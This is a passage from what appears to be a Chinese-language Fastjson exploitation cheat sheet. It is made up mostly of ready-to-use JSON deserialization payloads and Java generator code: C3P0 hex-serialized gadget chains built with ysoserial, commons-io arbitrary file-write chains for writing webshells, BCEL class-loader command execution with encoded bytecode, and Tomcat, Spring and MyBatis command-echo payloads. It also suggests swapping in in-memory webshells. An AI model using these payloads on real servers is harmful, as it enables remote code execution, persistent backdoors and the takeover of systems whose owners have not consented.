AEUARgAAAAAAAQBxAHIAAQAAAAEAdwB4AAIAAAABAHkAegADAFUAAAAEAAEAdQAJAHsAfAABAEIAAABqAAIAAgAAABG7AA5ZtwA9V6cACEwrtgA+sQABAAAACAALADwAAwBDAAAAFgAFAAAAUgAIAFUACwBTAAwAVAAQAFYARAAAABYAAgAMAAQAfQB+AAEAAAARAH8AgAAAAGYAAAAHAAJLBwBuBAABAIEAAAACAII="],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

C3P0二次序列化之 hex序列化字节加载器

目标服务器需要如下依赖

<dependency>
  <groupId>org.apache.commons</groupId>
  <artifactId>commons-collections4</artifactId>
  <version>4.0</version>
</dependency>
<dependency>
  <groupId>com.mchange</groupId>
  <artifactId>c3p0</artifactId>
  <version>0.9.5.2</version>
</dependency>

java -jar ysoserial-all.jar CommonsCollections2 "open -a Calculator" > calc.ser

package com.exmple;import com.alibaba.fastjson.JSON;
import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import java.io.*;
import java.util.Arrays;
public class C3P0Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        InputStream in = new FileInputStream("/Users/xxx/Desktop/calc.ser");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString);
        String poc ="{\"e\":{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"},\"f\":{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:"+HexString+";\"}}";
        System.out.println(poc);
    }
    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }
    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);
        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }
            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000E6E65775472616E73666F726D6572757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E000B4C00055F6E616D6571007E000A4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E00200007870000006A6CAFEBABE0000003200390A0003002207003707002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E0100126F70656E202D612043616C63756C61746F7208003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401000D537461636B4D61705461626C6501001D79736F73657269616C2F50776E6572323332393336343132353334363701001F4C79736F73657269616C2F50776E657232333239333634313235333436373B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000002F000E0000000C000100000005000F003800000001001300140002000C0000003F0000000300000001B100000002000D00000006000100000034000E00000020000300000001000F0038000000000001001500160001000000010017001800020019000000040001001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Commons-io 写文件/webshell

但写webshell需要知道网站路径，不然就无法利用如果为高权限，可尝试写定时任务，免密钥，等等（这些只是在理论情况下的猜想）低版本限制< fastjson 1.2.68

<dependency>
  <groupId>commons-io</groupId>
  <artifactId>commons-io</artifactId>
  <version>2.5</version>
</dependency>

Jre8 原始poc

{
    "x":{
        "@type":"java.lang.AutoCloseable",
        "@type":"sun.rmi.server.MarshalOutputStream",
        "out":{
            "@type":"java.util.zip.InflaterOutputStream",
            "out":{
                "@type":"java.io.FileOutputStream",
                "file":"/tmp/dest.txt",
                "append":false
            },
            "infl":{
                "input":"eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
            },
            "bufLen":1048576
        },
        "protocolVersion":1
    }
}

commons-io 2.0 - 2.6 版本：

{
  "x":{
    "@type":"com.alibaba.fastjson.JSONObject",
    "input":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192，实际写入前8192个字符)"
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer":{
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file":"/tmp/pwned",
        "encoding":"UTF-8",
        "append": false
      },
      "charsetName":"UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "trigger":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger2":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger3":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    }
  }
}

commons-io 2.7 - 2.8.0 版本：

{
  "x":{
    "@type":"com.alibaba.fastjson.JSONObject",
    "input":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192，实际写入前8192个字符)",
        "start":0,
        "end":2147483647
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer":{
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file":"/tmp/pwned",
        "charsetName":"UTF-8",
        "append": false
      },
      "charsetName":"UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "trigger":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger2":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger3":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    }
  }

BECL攻击，命令执行/内存马

becl攻击则是利用tomcat的BasicDataSource链编译poc，将poc的class字节码转化为bcel然后发送payload

package com.exmple;import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public  class Bcel {
    public static void main(String[] args) throws IOException {
        Path path = Paths.get("/Users/ajie/Desktop/fastjson/target/classes/com/exmple/Poc.class");
        byte[] bytes = Files.readAllBytes(path);
        System.out.println(bytes.length);
        String result = Utility.encode(bytes,true);
        BufferedWriter bw = new BufferedWriter(new FileWriter("res.txt"));
        bw.write("$$BCEL$$" + result);
        bw.close();
    }
}
public class Poc{
    public Poc(){
        try{
            Runtime.getRuntime().exec(new String[]{"open -a calculator"});
        } catch (Exception e) {
        }
    }

整体poc

{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                     "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                 },
                 "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$C1$U$3d$85$91$c1qx$L$8aOX$J$s$ca$c6$j$c6$8d$d1$d5$a8D$M$aeKm$b08L$c9P$M$7f$e4$da$8d$g$X$7e$80$l$a5$deA$p$Y$db$f4$de$de$d3$d3sz$fb$fe$f1$fa$G$e0$AU$H6$96$j$UQJb$r$ca$ab6$ca6$d6l$ac3$q$OU$a0$cc$RC$bcV$ef0X$c7$faF2d$3c$V$c8$f3$f1$a0$x$c3$x$de$f5$J$c9$7bZp$bf$c3C$V$d5$3f$a0en$d5$88$n$eb$J$3dh$c8$c9$60$e8$cbFK$8b$sC$aam$b8$b8$3b$e3$c3$vsjVfp$daz$i$Ky$aa$a2$cbIb$ee$f7$f9$3dw$91$c4$a2$8d$N$X$9b$d8$o$t$3d$94Ae$8fW$c8O$8c$7dnt$e8b$h$V$86B$c4n$f8$3c$e85N$sB$O$8d$d2$BC$fa$af9$3dgF$bb$e8$f6$a50$M$b9$Zt9$O$8c$g$90$bf$d3$93$e6$b7$u$d6$ea$de$3f$O$f5a$c9$89$q$c9$9d$da$dci$db$84$w$e85$e7$_$b4B$z$e4h$d4D$V$J$fa$edh0$9a$d4$XE$87$aa$3eb4$81$fc$ee3$d8$Lb$f9$f8$T$ac$eb$HX$de$p1$y$a4$90$c5$C$e2X$oN$89v$m$cc$o$ad$UidI1GJ$$$a1$$$b1I$85$f04$e5$M$ad$yb$9f$U$98$fd$jr$91s$9e$f0$Y$K_$e33$5d$f4$D$C$A$A"
         },
     }: "x" }

成功执行，把弹计算器的字节码替换为内存马，即可利用bcel写内存马。

SpringEcho 回显

{"x":{{"@type":"com.alibaba.fastjson.JSONObject","name":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","key":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$a5Wyx$Ug$Z$ff$cd$5e3$3b$99$90dCB$W$uG$N$b09v$b7$a1$95B$c2$99$90$40J$S$u$hK$97P$db$c9$ec$q$3bd3$Tfg$J$a0$b6$k$d4$D$8fZ$8f$daPO$b4$ae$b7P$eb$s$U9$eaA$b1Z$8fzT$ad$d6zk$f1$f6$8f$da$f6$B$7c$bf$99$N$d9$84$ad$3c$3e$sy$be$f9$be$f7$7b$ef$f7$f7$be3y$fc$e2$p$a7$A$dc$80$7f$89$Q1$m$60P$84$PI$b6h$Cv$f3$Y$e2$91$f2$a3$E$c3$8c$a4$f30x$8c$88t$de$p$c2D$9a$JY$C2$ecr$_$8fQ$B$fb$E$ec$e7q$80$R$5e$c3$e3$b5$ec$f9$3a$R$d5$b8S$c4$5dx$3d$5b$de$m$e2$8dx$T$5b$O$K$b8$5bD7$de$cc$e3$z$ec$fcV$Bo$T$d1$84C$C$de$$$e0$j$3c$de$v$e0$5d$C$ee$R$f0n$k$f7$Kx$P$8f$f7$96$a0$B$efc$cb$fb$F$dc$t$e0$D$C$ee$e71$s$e00$T$bc$93$z$P$I$f8$a0$80$P$J$f8$b0$80$8f$88$f8$u$3e$c6$a8G$E$7c$5c$c0$t$E$3c$u$e0$93$C$b2$3c$3e$c5$e3$d3$o6$e03l$f9$ac$88$cf$e1$f3$o$d6$e3$L$C$be$c8$9eG$d9r$8c$89$3e$c4$7c$fc$S$d3$f4$b0$88$_$p$c7c$9c$83o$b5$a6k$d6Z$O$eeP$dd$z$i$3cmFB$e5P$d6$a5$e9jOf$b8_5$7b$e5$fe$UQ$fc$a3$a6f$a9$adFb$3f$879$a1$ae$dd$f2$5e9$9a$92$f5$c1$e8$d6$fe$dd$aab$b5$f4$b52$f1$d2$98$r$xC$dd$f2$88$zE$89$a4$U$da$b9$k$e2$m$b6$efS$d4$RK3$f44$H$ef$a0ju$90$c0$ca$o$aa$K$u1$cb$d4$f4$c1$96$ba$x$99xLPY8$I$ab$95$94$j$B$8f$e3$94$40$ca$_$r$97$c7$pd$_fdLE$ed$d0$98$fbe$bd$c6$b0$o$5b$edJ$d2$880$5d$Sz$b0$95C$ada$OF$e4$RYI$aa$R$cb$e6$88d$y$z$V$e9$cf$MDZ$f7$5bj$5b2$a3$PI8$81$afH8$89Sd$$$adZ$ec$82B$u$9b$f2$a9$z$r$a7$89$e2$eak$95p$gg$q$3c$8a$afr$u$9f$e94$87$8a$vR$a7n$a9$83$aa$c9$i$f9$g$8f$afK$f8$G$ceJx$M$e78$f0$Jc$H$cb$b6$84o2$3d$8bf$Y$ea1$ac$O$p$a3$t$$$e7$93C$rc$89$e8$9aa$7b$dd$9a$Z$YPM$w$e6$a8$v$8fpX8$r$dfc$c42J$b2$5b$b5$92$c6$94$b8$84$c7$f1$z$O$Lf$b2uhj$aa$90$eb$db8$c7$bc$7d$82R$_$e1$3b$f8$ae$84$ef$e1$fb$94v$JO$e2$H$S$7e$88$l$91$ebV$d2T$e5DZ$c2N$f4$91_$7d$F$95$eb$b5$afZ$q$fc$YO$91s$ea$3eU$91$f0$T$fc$94$f6I$cb$oG$7d$96l$S$$8$E$a6$84$b6gt$ddA$a0$cfJj$e9$da$eb$c8FR$d6$T$v$W$a0o0e$f4$cb$a9$7c$fc$8e$40AV$c4$R$d3P$d4t$da0$a98$b3l$WV$ddh$97$96$b6$q$fc$MO$b3$I$7eN$d07$d5$3d$iJ$c8$f4v5$3dB$f8dx$a7$d3fr$97$99$v$9f$JH$c2A$af$9a$b6TB$93$84_$e0$Zb$t$5c$Q$f6$ad$MY$f2$cb$89$c4$a4$u$cf$f8$94$e1$E$ed$8ctD$97$87$a9$v$7e$v$e1Y$fcJ$c2$afY$g$7c$a3$9a$9e0F$e9$9e$b8$o$94$T$82QT$a1c$b4_$d3$a3$e9$q$j$c3$ca$qpl$efc$8a$ac$ebLw$cd$94$5b$db$9c$40$5b3Z$w$e1$60$ea7$S$7e$8b$df$f1$f8$bd$84$3f$e0$8f$8c$f2$tR$b5k$83$84$e7p$5e$c2$9f$f1$94$84$bf$e0$af$S$b6$p$s$e1o$f8$3b$8f$7fH$f8$tsi$9eb$MG$H$e4$b4$b5$3bm$e8$d1$bd$99Tt$aay$a8$f9$a7$ac$9a$ea$40$8a$60$j$b5$812$zMN$a9g$d4$3f$df$cc$U$db$80a$f6P$w8$y$J$fd$f7f$b7$f1N$S$r$ba$3a$da$a9$a7$zYWHjv$a8$c8$40$m$U$f5$c6$b7$b5S$aa$8a$c8WP57$aaJJ6$d5$84$83$7e$O$eb$8b$d8$ee$bbB$b6$d0$d2d$bc$8e$Gf1$d4$c9$a6$5e$cd$cb$b1Py5$7d$af1D$3e$af$w63$af$q$V$NL$m$ef$f3$p$a62T$y$3d$M$ac$93$W$cb$LB$cd$X$s$7c$95$yO$ab$p$a9$x$r$V$b1$cc$88j$w$8e$d1$aab$f2l$da$T$e87$u$Mx$9a$dd$a1$9e$d0NFv$db$3d$bc$b4H$c0E$a3$xU2$a6$a9$ea$d6$qf$a6W7$3f4$a8$7fI$abs$d8d$g$Z$9a$W$c1$o$7c$f6$VC$Y1$3b$I$9b$ae$ed2$E$F$c5$d0$zYc$af$a2y$85$8e$b6$re3$a6$ee$c9$a8$E$b4$96$ba$9d$USZ$3b$a0$dao$c7N$96$88$ce$a2$n$f0Z$ba$7dx$c4$dao$f3$ed$9c$3e0$f6$d3$9c$Yv$a6$Lu$v$r$95$b1$z$bdJE$$$fbYb$Z$5d$c6$a8j$b6$c9l$uU$87$8a$f4$TK$b9$97Z$c3$b4$98$83$85Z$f2S$a1e$da$7b$tOt$S$da$a9$8fdhnQ$ea$86$d9k$3d$_$ac$Z$d1$82$L$S$af$J$V$bd$60$96$a5LZ$dd$a8$a6$b4az_$d1LZ$f6$f2$81$V$O$_$d6$3b$ba$ba$cfr$b0$9d$7f$a1zBu$7d$ad$O$fa$f2$99$d2$Y$b9$sT$a8$60$ea$86t$cc$$F$t$9d$96$e1$98$c6b$fa$e2$R$c1$7e$3c$e0$d8$x$9f$d6mt$ba$86$9e$i$3d$bd$f5$e3$e0$8e$d1$86$c3$cd$b4$fa$i$o$89$d0T$84$8b$b1r$a3$f4$91$e8$r$ea$8b$B$d7$E$dc$3d$e1$i$3c$dd$e1$80$d7w$S$be$b8$3b$c0$c7$e2$9e$87$m$c4$e2$5e$b6$e6$e0o$f4$9e$84$Yw7$Q$dd$d9$9d$40I$dc$3d$O$89$Il$dbp$8a$ed$89$b3tG$7d$O$b3$Ce$k$5bQ$98$u$e5$f5$k$5b$a2$d1$be$cd$e2P$b3$t$Q$b0m$G$w$3d$93$e6$c8D$d8$937Al$ddWS$d2$fe$ff$x9F$99$A$M$faN$ae$b0$9f$e3$98M$U$96$af$b5$u$a3$b5$83$f2$b6$89$b2$b4$99h$9dt$bf$9d8o$82$85$z8$80$$$dcG$rx$98h$e3$94$fe$e3T$80$d3$94$d5$a7$89$f3$F$f4$d2$_0$H$ee$e7a$f2x$d5$f3$d8$c8$e3$96$L$d8$c0c$H$8f$5b$R$cfW$ad$8e$caA$l$TN9$f0$A$dcv9Vr$b6$d7$U$96$f8$m$aa$c3$N9TugQ$da$ec$a1$C$cd$e9$c9$5ez$ae$f11H$tP$jo$YG$cd$e9FO$O$c1F$S$98$7b$944$96$a2$92$be$e4$ab$f3A$y$87D$eb$O$3a$dd$K$9e$y$95b$X$dd$dfF$f7$afF$Nn$t$ac$dc$81EPP$8b$E$c2$Y$m$feA$db$f1$Kx$$$80$e7$b1$8b$9c$ed$e1q$9b_$wpY$m$e1$3c$d8$dc$s$9dJ$A$d7$cd$ee$96$J$cc$cba$7e$e0$9a$J$y8$83$85$f4$d7$e5$5e3$bf$e1$d4$R$d7$f5$N$f3$97$f7$84$cf$ba$96$90$fb$8b$9a$3dAO$60q$O$d7$kvU$d1$ee$V$b4$hs$95$84$D$b5$q$d6$ec$Nz$l$c5$921$ee$a5$a07$b0$94$I$81el$J$d9WY$I$cd$be$y$f7$y$5d$d5$db$s$g$9a$7d$ee$V$7c$V$l$f4$jG$p$87$p$dc$a9$a0$af$8a$3f$8e$b0$L$cdBP$ID$f2$gY$fd$a3n$aa$3f$d5$3e$e8$a5$8dH$85o$f6$3b$X$d7$e5q$d3$U$b3o$3dyX7$c5$D$cb$c7q$3d$83$c8$Z41$9f$cfb$uH$89$be$e10$94$a0$9fI$be$d2$91tZ$a3$3c$e8$f7$5c$ee$88$K$9cc$7d$c0$e0$e5$b0$ae$f0N$g$89$7b$f2$96$fc$de$Z$96$e2d$c3$W$f1$b4$5c$cd$b3$hgz6$96$f7$ec$de$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Tomcat 回显

{
    "a": {
        "@type": "java.lang.Class",
        "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "b": {
        "@type": "java.lang.Class",
        "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "c": {
        "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
        "driverClassLoader": {
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
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    }
}

abitis 回显

适用于weblogic、jboss等非tomcat中间件且引入了ibatis组件的情况

<dependency>
    <groupId>org.mybatis</groupId>
  <artifactId>mybatis</artifactId>
  <version>3.5.2</version>
</dependency>

POSTTestcmd:whoami
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参考

https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg https://mp.weixin.qq.com/s/nKPsoNkHtNdOj-_v53Bc9w

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